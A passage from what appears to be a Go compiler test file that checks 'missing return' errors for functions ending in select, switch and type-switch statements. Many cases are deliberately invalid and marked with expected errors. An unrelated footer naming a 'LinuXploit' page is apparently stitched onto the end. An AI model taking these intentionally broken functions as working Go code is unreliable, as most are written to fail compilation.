		panic("abc")
	default:
		select{}
	}
}

// if any cases don't terminate, the select isn't okay anymore

var _ = func() int {
	select {
	case <-c:
		print(2)
	}
} // ERROR "missing return"

var _ = func() int {
L:
	select {
	case <-c:
		print(2)
		panic("abc")
		goto L
	case c <- 1:
		print(2)
	}
} // ERROR "missing return"


var _ = func() int {
	select {
	case <-c:
		print(2)
		panic("abc")
	default:
		print(2)
	}
} // ERROR "missing return"


// if any breaks refer to the select, the select isn't okay anymore, even if they're dead

var _ = func() int {
	select{ default: break }
} // ERROR "missing return"

var _ = func() int {
	select {
	case <-c:
		print(2)
		panic("abc")
		break
	}
} // ERROR "missing return"

var _ = func() int {
L:
	select {
	case <-c:
		print(2)
		for{ break L }
	}
} // ERROR "missing return"

var _ = func() int {
L:
	select {
	case <-c:
		print(2)
		panic("abc")
	case c <- 1:
		print(2)
		break L
	}
} // ERROR "missing return"

var _ = func() int {
	select {
	case <-c:
		panic("abc")
	default:
		select{}
		break
	}
} // ERROR "missing return"

// switch with default in which all cases terminate is okay

var _ = func() int {
	switch x {
	case 1:
		print(2)
		panic(3)
	default:
		return 4
	}
}

var _ = func() int {
	switch x {
	default:
		return 4
	case 1:
		print(2)
		panic(3)
	}
}

var _ = func() int {
	switch x {
	case 1:
		print(2)
		fallthrough
	default:
		return 4
	}
}

// if no default or some case doesn't terminate, switch is no longer okay

var _ = func() int {
	switch {
	}
} // ERROR "missing return"


var _ = func() int {
	switch x {
	case 1:
		print(2)
		panic(3)
	case 2:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	switch x {
	case 2:
		return 4
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
	switch x {
	case 1:
		print(2)
		fallthrough
	case 2:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	switch x {
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

// if any breaks refer to the switch, switch is no longer okay

var _ = func() int {
L:
	switch x {
	case 1:
		print(2)
		panic(3)
		break L
	default:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	switch x {
	default:
		return 4
		break
	case 1:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
L:
	switch x {
	case 1:
		print(2)
		for {
			break L
		}
	default:
		return 4
	}
} // ERROR "missing return"

// type switch with default in which all cases terminate is okay

var _ = func() int {
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	default:
		return 4
	}
}

var _ = func() int {
	switch x.(type) {
	default:
		return 4
	case int:
		print(2)
		panic(3)
	}
}

// if no default or some case doesn't terminate, switch is no longer okay

var _ = func() int {
	switch {
	}
} // ERROR "missing return"


var _ = func() int {
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	case float64:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	switch x.(type) {
	case float64:
		return 4
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
	switch x.(type) {
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

// if any breaks refer to the switch, switch is no longer okay

var _ = func() int {
L:
	switch x.(type) {
	case int:
		print(2)
		panic(3)
		break L
	default:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	switch x.(type) {
	default:
		return 4
		break
	case int:
		print(2)
		panic(3)
	}
} // ERROR "missing return"

var _ = func() int {
L:
	switch x.(type) {
	case int:
		print(2)
		for {
			break L
		}
	default:
		return 4
	}
} // ERROR "missing return"

var _ = func() int {
	switch x.(type) {
	default:
		return 4
	case int, float64:
		print(2)
		panic(3)
	}
}

/**/

Youez - 2016 - github.com/yon3zu
LinuXploit